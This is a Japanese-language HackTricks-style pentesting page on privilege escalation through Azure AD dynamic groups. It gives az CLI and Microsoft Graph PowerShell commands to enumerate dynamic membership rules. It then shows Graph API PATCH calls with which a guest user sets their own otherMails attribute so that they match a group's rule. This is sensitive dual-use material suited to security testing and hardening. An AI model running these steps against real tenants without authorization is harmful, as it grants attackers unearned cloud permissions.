# Az - Dynamic Groups Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## 基本情報

**Dynamic groups** は、一連の **ルール** が設定され、それに一致するすべての **ユーザーまたはデバイス** がグループに追加されるグループです。ユーザーやデバイスの **属性** が **変更される** たびに、動的ルールは **再確認** されます。新しい **ルール** が **作成される** と、すべてのデバイスとユーザーが **チェック** されます。

**Dynamic groups** には **Azure RBAC roles** を割り当てることができますが、**AzureAD roles** を dynamic groups に追加することは **できません**。

この機能は Azure AD premium P1 ライセンスを必要とします。

## Privesc

デフォルトでは任意のユーザーが Azure AD にゲストを招待できることに注意してください。そのため、動的グループの **ルール** が新しい **ゲスト** に設定できる **属性** に基づいてユーザーに **権限** を付与する場合、これらの属性を持つゲストを作成して **権限を昇格** させることが可能です。ゲストは自分のプロファイルを管理してこれらの属性を変更することもできます。

動的メンバーシップを許可するグループを取得: **`az ad group list --query "[?contains(groupTypes, 'DynamicMembership')]" --output table`**

### Dynamic Groups 列挙

動的グループのルールを取得:

**Azure CLI** を使用して:
```bash
az ad group list \
--filter "groupTypes/any(c:c eq 'DynamicMembership')" \
--query "[].{displayName:displayName, rule:membershipRule}" \
-o table
```
**PowerShell** と **Microsoft Graph SDK** を使用して:
```bash
Install-Module Microsoft.Graph -Scope CurrentUser -Force
Import-Module Microsoft.Graph

Connect-MgGraph -Scopes "Group.Read.All"

Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property Id, DisplayName, GroupTypes

# Get the rules of a specific group
$g = Get-MgGroup -Filter "displayName eq '<GROUP NAME>'" `
-Property DisplayName, GroupTypes, MembershipRule, MembershipRuleProcessingState

$g | Select-Object DisplayName, GroupTypes, MembershipRule

# Get the rules of all dynamic groups
Get-MgGroup -Filter "groupTypes/any(c:c eq 'DynamicMembership')" `
-Property DisplayName, MembershipRule |
Select-Object DisplayName, MembershipRule
```
### 例

- **ルール例**: `(user.otherMails -any (_ -contains "security")) -and (user.userType -eq "guest")`
- **ルールの説明**: セカンダリメールに 'security' を含むゲストユーザーはグループに追加されます

ゲストユーザーのメールについては、招待を受け入れ、[https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView](https://entra.microsoft.com/#view/Microsoft_AAD_IAM/TenantOverview.ReactView) の **そのユーザー** の現在の設定を確認してください。\
残念ながら、このページでは属性値を変更できないため、APIを使用する必要があります：
```bash
# Login with the gust user
az login --allow-no-subscriptions

# Get user object ID
az ad signed-in-user show

# Update otherMails
az rest --method PATCH \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--headers 'Content-Type=application/json' \
--body '{"otherMails": ["newemail@example.com", "anotheremail@example.com"]}'

# Verify the update
az rest --method GET \
--url "https://graph.microsoft.com/v1.0/users/<user-object-id>" \
--query "otherMails"
```
## 参考資料

- [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/)

{{#include ../../../../banners/hacktricks-training.md}}
